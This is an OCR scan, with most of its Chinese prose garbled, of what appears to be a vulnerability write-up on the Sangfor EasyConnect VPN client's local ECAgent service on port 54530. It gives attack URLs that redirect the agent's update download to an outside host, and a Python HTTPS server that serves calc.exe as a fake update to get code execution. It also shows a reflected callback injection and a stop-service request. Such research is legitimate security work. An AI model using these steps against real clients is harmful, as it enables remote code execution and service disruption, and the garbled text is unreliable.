FVPNEFimintE FEXHFRITRIE Q@S
HIS

2021%F3H, HBEUEESNANEZRLEEVPNEFIRINZRE TEXERITRR, HREMISED
VPNZE i~ 5 P 7T 2 RO WebfRSS APIHE & P im B AT K ithil, M@ APHZEHIEF infz/F
HTBEEKREM, SNEFPiR FTaZBEEXNEMEZER, FiBi7,

REMNNREBEZERETFEITSHAREMSE, AURERESHMEE (F@) MNAEEAFITXRE
TEEIAZRL, FEDALE D EALAZ BT XM R N2 &R EITIT,

i XRTRAFRERIEATERSER, TEESUTERY, SSELE.
REM

FIENER R, EOEELREE-TEEMNFREFEZRIRE, WEEECLRAMXFRRE, g
ZETEEREE NZEafl; ETAA.

i 1e) [ L

BE{E R — it A T EVPNEFis FHRER,

RRFTLZETABVPNRITIE, AIVPNZ BN FEABHEF:



- -_————
>

BB5SSL VPN
FR&
o < DAk — X

IEAE T #06 ZE (I SSLVPNA 14

Hegshs:
T###E (D F# 1.62 MB 3£ 13.71 MB)

Lo ERER g USB-K
nnn 11%

- BERFEAMGEY, B ) TREEAN
- BR\|E, FrHEETR ZiiES
- TEEZHYER, B aEXE

9

RZEMIFERNFAEERELEEKR, IURANE—T,

347 8B

90 B

918B

1.63 =7

15.9 =7

14.39 =i

S p N Ll DL

EI EARE, B F12 KM HIHE VPN ERETTE RN AM 127.0.0.1 HITHTTP(s)iEK:
?op=GetEncryptKey&token=50065256e83ff1 bb9e0.? HTTP/1.0 GET 200 text/javascript
ttps://127.0.0.1:54530/ECAgent/ OK
?op=DoConfigure&arg1=SET%20LANG%20zh_CN... JHTTP/1.0 GET 200 text/javascript
https://127.0.0.1:54530/ECAgent/ OK
?op=CheckRelLogin&arg1=3408a894633162c62188... {HTTP/1.0 GET 200 text/javascript
ttps://127.0.0.1:54530/ECAgent/ J OK

XL KIYNCETIERAMFTE LS, HCE——FITHK:




https://127.0.0.1:54530/ECAgent/?op=InitECAgent&argl= &callback=EA_cb10000
https://127.0.0.1:54530/ECAgent/?op=GetEncryptKey&token=50065256e83ff1bb9e01757d0d22b669&callback=EA_cb10002

https://127.0.0.1:54530/ECAgent/?op=DoConfigure&argl=SET%20LANG%20zh_CN&callback=EA cb10001

https://127.0.0.1:54530/ECAgent/?op=CheckReLogin&argl=3408a894633162c62188198e92a221967dccfa5aafbd79b576714b4d1c3
9224ad4b220d698efcd939c3b1b37467023e9380ee3abfOed92ee2efc736de757b80e973fe4c7d8aflaf211a3f7ff3433cd9de975¢c76583ef
€7251dd1c065614384832998630359b65beb131cd8d287712462F
alb9e9acbc96dcc678b84cd57178cla&token=50065256e83ff1bb9e01757d0d22b669&callback=EA_cb10003

https://127.0.0.1:54530/ECAgent/?op=CheckProxySetting&token=50065256e83ff1bb9e01757d0d22b669&callback=EA_cb10004
https://127.0.0.1:54530/ECAgent/?op=UpdateControls&argl=BEFORELOGIN&callback=EA_cb10005
https://127.0.0.1:54530/ECAgent/?op=DoQueryService&argl=QUERY%20CONTROLS%20UPDATEPROCESS&callback=EA_cb10006
https://127.0.0.1:54530/ECAgent/?op=DoQueryService&argl=QUERY%20CONTROLS%20UPDATEPROCESS&callback=EA_cb10007

https://127.0.0.1:54530/ECAgent/?op=DoQueryService...

AHIRE—TIXD 54530 I AN MR HER T A

:\Users\chen>netstat —nao | findstr 54530

TCP 127.0.0. 1:50421 127.0.0. 1:54530 ABLISHED
TCP 127.0.0. 1:54530 0.0.0.0:0 LISTENING
TCP 127.0.0. 1:54530 127.0.0. 1:50421 ESTABLISHED

>:\Users\chen>tasklist /svc findstr 1100
ECAgent. exe 1100 E&k

KRIX N O ZECAgent.exeFFIBHY, SR N HFEXEFTENME :



by (5 ETEER | ¥ < | =m ECAgent

SHHF) 00) SE(NECN 7 #=  BEF RIS
g e NABHSE

1 « v O pe
BR a ~
BR
ot R (E) ,
am - i CSClientManagerPrj.dll
i B] ECAgent.exe
| M * | ECAgent.exe 1
| Epes * “| ECBase.dll
= BH » | ECBase.dll.old
| B wm %]
D ER L]
%]
% i -
@ OneDrive B
W B AK @ Uninstaller.exe
~» EasyConnectlnstall¢
‘B [ECAgent.exe W L%

HIAXEXXX SSLVPNIFER, ABAF A ARREBBAREI—#E, 150VPNEZRE ISR A X
127.0.0.1 BR[O TS| REVPNIEITHEE T,

EFttbht ATz

B ERD TR BN AERRE, BRI — TR DUZHI At B8RS
Z2, AEBEMNAHABTERNEERR, SEFEMNMEMEETEERR, XEERAIUE
2L R VPNE FimiY{E A& PCIER.

BORZARI§ERSIR, RIBXYRAVIERE, SHopkEN ZNEBEMRYNERITHNE:



InitECAgent -> #JHA1t
GetEncryptKey -> FREXINZRZ5%A
DoConfigure -> BLE&

CheckRelLogin -> MEBEHER
CheckProxySetting -> MERIBIRE
UpdateControls -> BEETIZHI
DoQueryService -> EifJfRS

FE— TR KRFERES Hargl:
https://127.0.0.1:54530/ECAgent/?op=InitECAgent&argl=XXX%20443&callback=EA cb10000

SE argl=xxx%20443 , SN EMMEHOST+Z=R+mOMNKEN, BEXEEAXRIMESE TR,
BEFImEHEGR A RIEX M EEERERIXEKREMNIE? HATUARBHRE—TEHIEK
arg13# A 172.20.10.2 8000 , ABEAMIBE—THTTPIRSS:

python -m SimpleHTTPServer
HAEREH AR, HKRIER—ER—HURLIIER (BAIEKRHA)

{FIBE AL ECAgent (93 F73)?

RIFA:127.00.1 117 RF ~ B >

ARSSImAR IR ENE K, ERAEI T xR

Serving HTTP on 0.0.0.0 port 8000 ...
172.16.176.3 - - [23/Mar/2021 14:03:01] code 400, message Bad request syntax ('\x16\x03\x01\x02\x00\x
01\x00\x01\xfc\x03\x031\xaaG]\xfc\xd19P\xc7\x1bv\x1f\x0e\xae\x92\xb8\x0e\x840\xdf\xe4@\x81\xd2tx5IW\x
dd\xfd\x1a\x00\x00\xa8\xc00\xc0,\xcO(\xcO$\xcO\x14\xc0")
172.16.176.3 - - [23/Mar/2021 14:03:01] "€ €6] 46D P GOHH00GR G6L X5 NGO ©, X 465 400 -
172.16.176.3 - - [23/Mar/2021 14:03:01] code 400, message Bad request syntax ('\x16\x03\x01\x00\xa5\x
01\x00\x00\xa1\x03\x014\xe9zv\x0elht\r\x06\x95\xdbh%\xe5\xf1& \xf6,\x9d\xf1l \xf8\xdc\x89N\xbc\xc3\x0bQ
9\x02\x00\x00 " \xcO\x14\xc0"')
Y% O, 00 @ 99 23/Mar/2021 14:03:01] "@Aeevliht

Q9 &%) 400 -
172.16.176.3 - - [23/Mar/2021 14:03:01] code 400, message Bad request syntax ('\x16\x03\x01\x00\xa5\x
01\x00\x00\xa1\x03\x02x\xed\x91\x9c\xe7AA\Xx91\xa9\xdbv1\xed\xf0" Jir\x8fy\xf4\xf8K\x02A\xe9Q\x1ap ; \x98
\xa4\x00\x00 " \xcO\x14\xc0@"')
172.16.176.3 - - [23/Mar/2021 14:03:01] "€xE S \Guv 1) Jirey K \Rp ; &0 < 400 -
172.16.176.3 - - [23/Mar/2021 14:03:01] code 400, message Bad HTTP/0.9 request type ('\x16\x03\x01\x0
2\X00\x01\x00\x01\xfc\x03\x03C1\x97\xea | \xdf ')
172.16.176.3 - - '

BARRELRIET BB, Bttt B SHER, EFRIRHIERIEIEENRS HARIXE
K, BHTHIMTEIR, BRAMEZF,iHAE TN, BARE NG 2T+ 40F,



AR5 152

NAEZEMNMEREZ—1"EFRIiR UEEHENIEXR, BEXTEIZANAIUIE, HEENRS
im I B P imiE K{ERBIHMINA—E, VI EAMEFiHIERNE HTTPS thiY, XMBE
BE—-—THTTPSERS T .

AR AEFPythonFEEEZIL— HTTPS BRSS!

# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0"', 8000
SimpleHTTPServer.SimpleHTTPRequestHandler

httpd.socket = ssl.wrap socket (httpd.socket, certfile='./server.pem'
server_side=True

httpd.serve_forever

BEE—DHTTPS IMEEB/XEWMMW LiEXR, RBIEWAIHE:

172.16.176.3 [23/Mar/2021 18:03:22] code 404, message File not found
172.16.176.3 [23/Mar/2021 18:03:22] "GET /com/WindowsModule.xml HTTP/1.1" 404 -

172.16.176.3 [23/Mar/2021 18:03:22] code 501, message Unsupported method ('POST')
172.16.176.3 23/Mar/2021 18:03:22] "POST /com/win/ UD.exe HTTP/1.1" 501 -

AJUEREFEF in= VR

/com/WindowsModule.xml
/com/win/XXXUD.exe

FAREXMIXERELHN, TRITX M (exe) RREEENN, BEEXEETRTIUNELEEFIHL
HEHIERZPOSTIEK, EFHFMERIPYthonBIZASZILAIHTTPSERS HAIGTPOSTA A, HFEEE
— PMHandler:

import BaseHTTPServer
import SimpleHTTPServer
import cgi

import ssl

class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler
def do POST(self
form = cgi.FieldStorage



10
11
12
13
14
15

SimpleHTTPServer.SimpleHTTPRequestHandler.do GET(self)

Handler = ServerHandler

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), Handler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem',
server_side=True)

httpd.serve_ forever()

2R ERIASSIST posT 750E, HETHA posT HIAEKRINENREIXXHRAR .

&fa, — calc.exe (ITE2S) FIHTTPSNULTE B F THI /com/win/XXXUD.exe

HOXIER (BEZREMEM, Z=THERTRERN, HMMRIFTAZES)

ui h W N R

https://127.0.0.1:54530/ECAgent/?0op=InitECAgent&argl=172.20.10.2
8000&callback=EA cb10000

https://127.0.0.1:54530/ECAgent/?

op=CheckRelLogin&argl=3408a894633162c62188f98e92a221967dccfa5aatbd79b576714b4d1c392
a4ad4b220d698efcd939c3b1b37467023e9380ee3abf0ed92ee2efc736de757b80e973fedc7d8aflaf
211a3f7ff3433cd9de975¢c76583efe7251dd1c065614384832998630359b65beb131cd8d287712462F
alb9e9acbc96dcc678b84cd57178cla&token=50065256e83ff1bb9e01757d0d22b669&callback=EA

_cb10003

https://127.0.0.1:54530/ECAgent/?
op=UpdateControls&argl=BEFORELOGIN&callback=EA cb10005

FRUEFImBERZE, BXHETHBIRMABZIES, MRIELITES



PRk

M+ M- MS
% CE &
Vx x? Ax
7 8 9
4 5 6
1 2 3
0

meicRk REF

O EFCHRICR

{RABELLLTE ECAgent (93 £ 15)? T
KA 127.0.0.1

HE (Fm) M

BMEE (F@E) MBE, FAWebikiEEZHESH4,
(REWFEAN, IEXbL, TE20H)

HTTPARZ AL

REHE
BARHITREEPREFNTEFBNE, mER, A
EN, RI\EMBRIFEREE xx BT FA#H %zo

v [#z] SangforPromoteService.exe
[as| ECAgent.exe
SangforPromote.exe

Ta%mﬁn_% HESERTMERS (ImOFK)

SRINEFHT 54530 im0

EARTED I IABRYER THE SRR,

[EEE{FFProcess HackerZ X9 TEBEE#

2800 6.57 MB
5308 0.05 483 B/s 627 MB
8424 4,05 MEB

I ET Ecagent.exe XNNIHTE, FBEW



C:\Us

ers’

ECAgent. exe

C:\Us
TCP
TCP
TCP
TCP
TCP
TCP
TCP

IR AHTTP/HTTPSHE R b 8%

ers’

127.

127.
127.
127.
127.
127.
127.

Q%_

>tasklist /svc

ts
1:54530
1:54530
1:54530
1:56219
1:56220
1:56226
1:56227

’ne
0. 0.
0. 0.
0. 0.
0. 0.
0. 0.
0. 0.
0. 0.

(" imvalid op”);

tat —ano

findsty EC
7652 E ik

findstr 7

0. 0. 0.
127. 0.
127.

127.
127.
127.

BULEH Wiz A2 PR B B im O O HTTPARSS .

FHAO
MEFEHIREFABHTTPRSMAOR, BT RSEREXRIRHENEFNZSIE, HE—TEE

65:
0:
0
.0
127.0. 0.
0
0
0

LISTENING

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

HHHHHHO[\J

m, RIHTTPSIHE)ERNREIAR

FRNZINEAIDLL Y, 1EFEXx32dbgMi N EEEEMINEAIDLLI 4 :
E ik | |\
DDBBDDDD

|
|

dhcpcswv

winnsi.

EC&iEﬁt.EKE

tcp.dill

dl1

sclientmanagerprj.dll
rce.dll
dhcpcsve.dll

ondemandconnroutehelper.dll

sxs.dl1

Auwrmama

A1

msvCcpe0.dll
olepro3z.dll



F ol el b WL LY '-IIIIIIHH i m i 0B

73400000| comctl132.d11
73490000 (gdiplus.dll
73620000 | uxtheme.dl1
736A0000 |winspool.drv
73720000| ecbase.dl11
73920000 |wldp.dl1
73950000 |windows.storage.dll
73Fe0000 | sspicli.dll
73F920000| profapi.dill
73FBOOODO | oleacc.dll
74010000 |msimg32.d11
74020000 | msvcrl10o0.dll
740E0000 | winmm.dl11
74110000 pnlibeay32.d11
74260000 pnssleay32.d11
74300000 ( cryptbase.dl]
74310000 | rsaenh.dl1
74340000| cryptsp.dll
74360000 | mswsock.d11
743C0000 | msasnl.dll
74300000 | netutils.dll
T43E0000 | srvcli.dll
74400000|1ertutil.dll
74630000 |wininet.dll
74A90000(iphlpapi.dll
74AD0000 | version.dll
T4AEQO0O00 | urTmon.dl11
74C20000 | mFc42.d11
74DC0000 | kernel. appcore.dll
74DD00O00 |winhttp.dll
74EE0Q000 | dbghelp.dll
75070000 (gdi32full.dll
TS1BOOOO | ws2_32.d11
75220000 crypt32.dill
75320000|01e32.d11
75410000 | ucrtbase.dl11
75610000 | shcore.dl11
756A0000|shell32.d11
75Ce0000| clbcatq.dll
FECEQOQOO | msvcrt.dll
75DA00DO00 | psapi.dll
FSDBOOOO | imm32.d11
7SDEOODOO | comdlg32.d11



FRE90000 | win32u.dl]
7FSEBOOOO | gdi32.d11
FSREEQDOD | sechost.dl1

75 F&0000 | combase.dl11
7e1FOO00 | nsi.dl11
76300000 | kernelbase.dl1
76630000 | msvcp_win.dl11
766B0O0O0D0D |wldap32.dll
76710000 | advapi3z2.dill
76790000 |wintrust.dll
7e7EQDOD | kernel32.dl11
76960000 bcryptprimitives.dll
769C0000 | shiwapi.dll

76A10000 | rpcrt4.diil

76F30000| bcrypt.dlil

FeFS50000 | user32.dll

770F00D00 | oleaut32.dll

mntdn.dn

XEARZAFNDLLYXYE, AJTUEET, MFAEES EcAgent.exe BXREXEAIDLLY M, HIWNEE
LEF T DLL (th##EmET) -

CSClientManagerPr.dll
i=| ECAgent.exe

% ECBase.dll

= install.log

Eh pnLibeay32.dll
) mpn55|eay32.dll
E sqlite3.dll

@ Uninstaller.exe

BT IDAFTFFXEDLLY M, F{ERXHIE 127.0.0.1 . 0.0.0.0 . 54530 LBEEXEIE, HEX
R {ERRCES (FEOu{CHS, 20 FEIF R &b A —EE E A I B A2 #1T T REBASE) :



Address Length Type String

57 . rdata:1019157C 0000000A C 127.0.0.1
.rdata:1019157C cp db '127.0.6.1',0 | ; paTA xrer: sub_16e194ace+6F1o |
.rdata:10191586 align 4
] IDA View-A (] @ Pseudocode-E ] @ Hex Vlw—l (x] =@ Imports 8 & Exports a
8| struct sockaddr name; // [esp+8h] [ebp-14h] BYREF
9
16| *al = @;
11| s = socket(2, 2, 17);
12| if (s == -1)
13
14 LastError = GetLastError();
15 sub_1002C510(2, 2, L"[INFO][%s:%d] CreateRecvResultSocket socket %d", L"CreateRecvResultSocket", 2155, LastError);
16 return -1;
17| 3}
18| else
19| {
20 *(_DWORD *)&name.sa_data[6] = 0;
21 *(_DWORD *)&name.sa_data[10] = @;
22 name.sa_family = 2;
23 *(_DWORD *)&name.sa_data[2] = [Tl
24 *(_WORD *)name.sa_data = 0;
25 namelen = 16;
26 if ( bind(s, &name, 16) == -1 )
27 {
28 v3 = GetLastError();
29 sub_1002C510(2, 2, L"[INFO][%s:%d] CreateRecvResultSocket bind %d", L"CreateRecvResultSocket", 2167, v3);
30 closesocket(s);
31 return -1;
32
33 else if ( getsockname(s, &name, &namelen) == -1 )
34 {
35 v4 = GetLastError();
36 sub_1002C510(2, 2, L"[INFO][%s:%d] CreateRecvResultSocket getsockname %d", L"CreateRecvResultSocket", 2173, v4);
37 closesocket(s);
38 return -1;
39 }
40 else
41 {
42 *al = *(unsigned __intl16 *)name.sa_data;
43 sub_1002€510(
44 2,
45 2,
46 L"[INFO][%s:%d] CreateRecvResultSocket updateResultSvr.sin_port updateResultSvr.sin_port %d",
47 L"CreateRecvResultSocket",
48 2178,
49 *al);
50 return s;

W EEREAH, RIBEXZWINSOCKEEZENT R, EFNSEMAE sockaddr EfR EFMNT
sockaddr_in , —EM—MX%5IZ sockaddr_in R E IR A EIEEIP. Im, T sockaddr
SRR IERKE sa_data (XB—1TH4AH) EE2IP. mOZENER.

WTREAR, Me— "MW 22BN E, inOFBIE sa_data BI5E0. 1M, IPTEK
T£ sa_data U562, 3. 4. 5fi:



Name .Vmue
[H sockAddrInfo .

-2

............................................................................................................................................................... LTS S

.-
0x01080067f

{{sockaddr=)&sockAddrInfo)->sa data  Bx0012fdda "aym"

................ LﬁlmemwWwwwmmwwwwmmwmwwmmmwwwwmwmwwmgﬁﬁﬁﬁwiﬁflﬁﬁﬁﬁﬁﬁfwmww
7 TS B
................ L L
B £ N 1.1 N S
B £ N L. N
kB L——— L L
..... F S . ...
..... S € N ... S
..... S 3 ... S
..... S N ... S
..... S L ... S
S 5 L. B
..... S 3 N 1. .|
— [13] s

BREAEXE, SRR NAIROERN0, TR, RIXFNREZTTALIZRI
BY:

*(_DWORD *)&name.sa_data[6] = ©;
*(_DWORD *)&name.sa_data[10] = 0;
name.sa_family = 2;

DWORD _*)&name. inet_addr("12




BREANTNRE, EERHEUERET? AR XTDLLXHETERIWebiRSS? FEHX—NEEHK
TRZDLL, RIENELR0, BAMEEMIRO, MAZNMNAY 54530

EARREZE, BRI THEMAKREERT Ecagent.exe KE, MEILE ECAgent.exe EERZFRF
B, MEEMHAWER, TEEEEA—TDLLIAAZI T WINSOCKIEZEBIZESOCKET, BAMNIZ
HMEXHEERES, FAIASIREARIZESOCKETIREIFEMNEEIR vind E2REE, BRERUT
EFf~:

Address Function Instruction

. text:005AG245 =ub_GAG230
. text:00474721 _

. text:O0474ECD =ub_474B60
. text:0047FOFD =ub_47FDE0

. text:004CEFS5 sub_4CECEN

. text:004C5FER sub_4CECED

. text: 00408209 sub_4D8110

. text:O04DCE73 sub_4DC1C0

. text:O04D9ADE sub_4D2960 a ‘1dap_zimple_bind =
. text:004D9E10 sub_4D2850 call ds ldap_=imple_bind =
. text:O04D9EFL sub_4D3360 call d=:1dap_unbind =

ETIPEME—T—TRHIERHAETESR, REBELKIMTE sub_47rde0 , M TEFTR, sub_47FD60 &
BIZSOCKETAYER *51 BEHAENImORAS, MUBRFEEXREERZREAIRE, H

2 sub_47FEBO , RBRMER—TREN, ASNIROLEEEREFEE (MZEN THERO
HRAVIER) %@UESOCKETBZI)JZEE%E}%J‘@IEO



u_short sub_47FeBe() char __cdecl sub_47FD6@(Qu_short al

- r
1
int Error; // int Error; // ea
u_short j; // int v3; //
struct WSAData WHAData; // struct sockaddr name; //

nt i3 // char v5; // [esp
SOCKET s;5 //

if ( dword_6E240( )

dword_6E24@C(2} "[INFO] begin detect_usable_port™); 5 =0;
for (i =0; <|3; ++i) * (_WOF )& .sa_data[6] = @;
{_ e *(_DWORD *)&name.sa_data[8] = @;
for ( j = -110P6; j <= OxD54Fu; j += 11 ) *(_WORD *)& .sa_data[12] = @;
|{ I | .sa family = 2;
| if ([sub_a7FD68(J) )! e [F(CWoRD *)name.sa data = htons(al); |
return j; ! *(_DWOF )& .sa_data[2] = htonl(@x7Feeeeelu);
v J ! s = socket(2, 1, @);
iF ( dword_6£24eC ) I if (s ==-1)
dword_6£240C(2, "[INFO] detect_usable port fail, try detect retry time:¥d", i + 1); | {
Sleep(@x1F4u); E if ( dword_6£240C )
ACleanup(); |
if ( WSAStartup(@x202u, & ) && dword_6E240C ) \ Error = WSAGetLastError();
{ H dword_6E240C(@, "[ERROR] create socket fail:%d", Error);
= WSAGetLastE 0; | 1
dword_6E24@C(@, "[ERROR] WSAStartup fail:¥d", )H i ieturn a;
}
} else
if ( dword_6E240C ) {
dword_6E240C(@, "[ERROR] detect_usable_port fail return port:8"); H if ( bind(s, &name, 16) == -1 )
return @; | {
} | if ( dword_6E24@C )
) {
3 = WSAGetLastError();
dword_6E240C(@, "[ERROR] bind port:%d fail:¥d", 2 )
int main{int argc, char= argu[]) i }
{ | else
I
{
u_short j; =1
fFor (j = -11086; j <= BxD54Fu; j += 11 ) \ }
{ ! if (s 1=-1)
printf("%d \n", j); | L
! -,,,,:,:‘, et(s);
return 8; i =L
H ' ’
return
e\ “C:\Program Files\Nicrosoft ¥isual Studio\lyProjects\Test\lebu y }

BXRHRBHEFNT—T, BEER, MAMBE—PASHIHOR se530 , FABLLRREH
fAOER A 5 AR, FTIA, FIAK Ecagent.exe BIHTTPERSSIROIFE 54530
EOSHMNLEBE

DMFTEHTTPRRSNEN 2 f5, FEBRMEHEBARMNCLGIEERSE, IR EE E Y 4E0]
HEIREAE, EERXFNITFEREARN, FTERREDN, FAUHEFCREHTTPARSS RN
FRIBTIDAREER, BIREFRFBAIXREF, HEEIN{EARIRIREL:

0 [ https//127.0.0.1:54530 x —+

& C )  https://127.0.0.1:54530

(“invalid op®);

Address Length Type String



‘5’| . rdatal UUBYLCEHEL NIAININIRIN[NY:] L invalid op
'ﬁ .rdata: O06A39ES 00000008 C invalid op

char _ thiscall sub 48£79@(void *this, int a2, Jpt a3, int a4)

1
unsigned int v5; // [esp+4h] [ebp-64h]
const char *ve; // [es
int v7[21]; // [esp+Ch] [ebp-5Ch]
unsigned int i; // [esp+64h] [ebp-4h]

if ( unknown_libname_65(=32, this) )

1

v = " check alive ";
v7[@] = (int)sub_48F7ee;
v7[1] = (int)"CheckRelogin™;
v7[2] = (int)sub_4935E8;
v7[3] = (int)"DoConfigure”;
v7[4] = (int)sub_4958388;
v7[5] = (int)"GetConfig";
v7[6] = (int)sub_48FB3@;
v7[7] = (int)"InitECAgent”;
v7[8] = (int)sub_48F728;
v7[9] = (int)"GetEncryptKey™;
v7[18] = (int)sub_493548;
v7[11] = (int)"Setter”;
v7[12] = (int)sub_493%968;
v7[13] = (int)"Getter";
v7[14] = (int)sub_494198;
v7[15] = (int)"_ restart_ecagent_ ";
v7[16] = (int)sub_4983E8;
v7[17] = (int)"__ stop ecagent_";
v7[18] = (int)sub_491518;
v7[19] = (int)"DetectECAgent”;
v7[28] = (int)sub_48FsCe;
vS = sub_49C9E@(&vE);
for ( 1 =8; 1 € v5; ++1 )
1
sub_4523F@(a2);
if ( !'sub_4BoeEe(i, v7[2 * i - 1]) )

sp+8h] [ebp-68h] BYREF
]

return ((int (__cdecl *)(int, int, int))v7[2 * i])(a2, a3, ad);

¥

return @;

¥

else

(*(void (__thiscall **)(int, const char
return 1;

¥
¥

*, int))(*(_DWORD

*)as + 8))(a3,

"invalid op"J -1);

N EEMRARE, XRBEEMEE —THE, FATFRSMRENE, RIBASHITEMUNSLE,

MmEZ=EAERE,

EXEE NS a2 ZXEE (BEEFXMGHE. RBASHEHEERD]) , FIUBERERIZRE



BIXREF, #Z{Z1ESEN v2e :

void *v25; // [esp+14h] [ebp-100h]
int v26[20]; // [esp+18h] [ebp-FCh] BYREF
char v27; // [esp+68 [ebp-ACh]

sub_48EQFQ(v26);

V36 = 0

sub_452960(v33);

LOBYTE(v36) = 1;

sub_452960(v28);

LOBYTE(Vv36) = 2;

sub_48E1EQ(v29);

LOBYTE(v36) = 3;

if ( *(_DWORD *)(v35 + 44) )
sub_4525CO(*(char **)(v35 + 44), *( _DWORD *)(v35 + 48));

v3 = (char *)sub_4523F0(v28);

sub_48E2CO(v3, (int)v26);

v34 = 0;
if ( (unsigned  int8)sub_48E580(v26, v29) )

{
if ( fsub 48E790(v25, (int)v26, (int)v33, (int)&v34) )
{
sub_48ESEQ(v26, v33, &v34);

sub_492970(v26, v33, &v34);

}
}

BRFELNIET voe RURREN, sub_asE2ce BRERFTH T HFRAIAIT], RIEER IR L FAF SN,
LR AR RAT R ML BEITURLRENE RS



LABEL_

}

su

if ( dword_6E240C )

dword_6E240Q(2, "[INFO] query_parse invalid param : multi—value")ﬂ
LOBYTE(v16) = 8,
Concurrency::details::_Condition_variable::~_Condition_variable((Concurrency::details:: Condition_variable *)vi12);
6:

2

b_452960(v11);

LOBYTE(v16) = 2;

v4
su
v5

= (char *)sub_489430(1);
b_482FCo(v4, (int)vil);
(const char *)sub 489430(0);

?F'E _stricmp(v5, "op") )
{

(const char *)sub_489430(0);
_stricmp(v6, "token") )

v7 = (const char *)sub_489430(0);
if ( _stricmp(v7, "callback") )

PTLA

A W N PR

{
v8 = (const char *)sub_489430(9);
\‘ if ( ! _stricmp(vg, "guid") )
1

, XEBH A AL XS

op
token
callback

guid

B EHHEANURLR, o3Il L 123 SHEXRE:

1 https://127.0.0.1:54530/?0p=123
2 | https://127.0.0.1:54530/?token=123
3 https://127.0.0.1:54530/?callback=123
4 https://127.0.0.1:54530/?guid=123
i} 7 (3 https://127.0.0.1:54530/20p=123 X aF O (Y https//127.00.1:54530/2token= X | -+
& C () https://127.0.0.1:54530/?0p=123 & @ () https://127.0.0.1:54530/?token=123
;i} ("invalid op”);
0 () httpsy//127.00.1:54530/2callback X | - m] ' (Y https://127.0.0.1:54530/2guid=1" X | 4
é G Iﬁ https://‘l27‘0.0.1:54530/?ca|lback:123 e G @ https://‘]27‘0.0.1:54530/?guid:123
123(“invalid op”); ("invalid op”);

mnE

EIFfiR, RS callback B NHIREER, FM#HITXSSTR, 1&EEIDAHRE

R callback FFHHLBDEXNNANELE, KW T ZTURLAbIL:



‘s’ . rdata: 0+ 00000009 C callback
.rdata:0:+ 00000021 C [INFO] ecbase callback cmd : %d
.rdata:0++ 00000045 C https://127.0.0. 1:%u/ECAgent/?0op=__check_alive_ &token=Y%s&callback=e
.rdata:0++ 00000045 C https://127.0.0. 1:%u/ECAgent/?op=__check _alive_ &token=%s&callback=e
.rdata:0++ 00000049 C https://127.0.0. 1:%u/ECAgent/?op=__restart_ecagent_&token=Y%s&callback=e
;| . rdata: 0+ 00000046 C https://127.0.0. 1:%u/ECAgent/?op=__stop_ecagent__ &token=%s&callback=e

NG fir

XLEURLMBLUEIERE 722K op . token . callback BJARBECE—IREZIER(ER, KT ULAMKEIEE,
SEhE (EEE token S AIRESTFEENEFIRME)

1 | https://127.0.0.1:54530/?0p=__restart_ecagent__ &token=123&callback=123
2 | https://127.0.0.1:54530/?0p=__ restart_ecagent__ &token=123
3 | https://127.0.0.1:54530/?0p=__restart _ecagent

BAKRM, X=F1BEKEAILA{F1F ecagent.exe HIZEF, T op=_ stop_ecagent__ MM A BAE
1k ECAgent.exe Hiz,

NS
BREMETEOSHNGIEZEZE, X op ENNHNRBHMET T, ARIRUILIEZBIFHFS
NARED, BREFESELEERDAM:
1| v7 =" _check alive ";
2 | v8[@] = (int)sub_48F700;
3 | v8[1] = (int)"CheckRelogin"; // MBEEIHEH
4 | v8[2] = (int)sub_4935E0Q;
5 | v8[3] = (int)"DoConfigure"; // B &
6 | v8[4] = (int)sub_490800;
7 | v8[5] = (int)"GetConfig"; // FKENECE
8 | v8[6] = (int)sub_48FB30;
9 | v8[7] = (int)"InitECAgent"; // #)9afLECAgent
10 | v8[8] = (int)sub_48F720;
11 | v8[9] = (int)"GetEncryptKey"; // JREXINZkey
12 | v8[1@] = (int)sub_493540;
13 | v8[11] = (int)"Setter";
14 | v8[12] = (int)sub_493960;
15 | v8[13] = (int)"Getter";
16 | v8[14] = (int)sub_494190;
17 | v8[15] = (int)"__restart_ecagent_ "; // EJZSECAgent
18 | v8[16] = (int)sub_4903E0Q;
19 | v8[17] = (int)"__stop_ecagent_"; // {&lbECAgent
20 | v8[18] = (int)sub_491510;
21 | v8[19] = (int)"DetectECAgent"; // IMIECAgent
22 | v8[20] = (int)sub_48F6C0;




BELERFEERFTER I —TSHERERSH, PTURREZBFRRNNSHIIREIDAFER
FRHE, RAONERLESEHATIEE—PINE dd -> Define Double Word , IDARBEEEIERMENT
sk

.rdata:0069C7FC aOp db 'op',0 ; DATA XREF: sub_48E2C0+153%0
.rdata:0069C7FF byte_ 69C7FF db © ; DATA XREF: sub_434390:1loc_4344291Tr
.rdata:0069C800 ; const char aToken[]

.rdata:0069C800 aToken db 'token',© ; DATA XREF: sub_48E2C0:1loc_48E4407T0
.rdata:0069C806 byte_69C806 db © ; DATA XREF: sub_434390+BBTr
.rdata:0069C807 align 4

.rdata:0069C808 ; const char aCallback[]

.rdata:0069C808 aCallback db 'callback',® ; DATA XREF: sub_48E2C0:1loc_48E470T0
.rdata:0069C811 align 4

.rdata:0069C814 ; const char aGuid[]

.rdata:0069C814 aGuid db 'guid',o ; DATA XREF: sub_48E2C0:loc_48E4A0To
.rdata:0069C819 align 4

.rdata:0069C81C dword_69C81C ; DATA XREF: sub_48E2C@+21ETo
.rdata:0069C820 ; const char aType_ 3[]

.rdata:0069C820 aType_ 3 db "type',0 ; DATA XREF: sub 48E2C0:1loc_48E502To
.rdata:0069C825 align 4

BOEFER TIRER A FEENFHEHEN, BETFRNS arg

.rdata:0069C814 aGuid db 'guid',e ; DATA XREF: sub_48E2C@:loc_48E4A@To
.rdata:0069C819 align 4
.rdata:0069C81C aArg db 'ard',e ; DATA XREF: sub_48E2C0+21EfTo

.rdata:0069C820 ; const char aType 3[]

BARSSHE—RN, BARBEEFERSERMBIURLF, HERMSEZBIRIURL, 535
SRS EE MM -

1 | https://127.0.0.1:54530/?0p=CheckRelogin

2 | https://127.0.0.1:54530/?0p=DoConfigure

3 | https://127.0.0.1:54530/?0p=GetConfig

4 | https://127.0.0.1:54530/?0p=InitECAgent

5 | https://127.0.0.1:54530/?0p=GetEncryptKey

6

7 | https://127.0.0.1:54530/?0p=CheckRelogin&arg=123
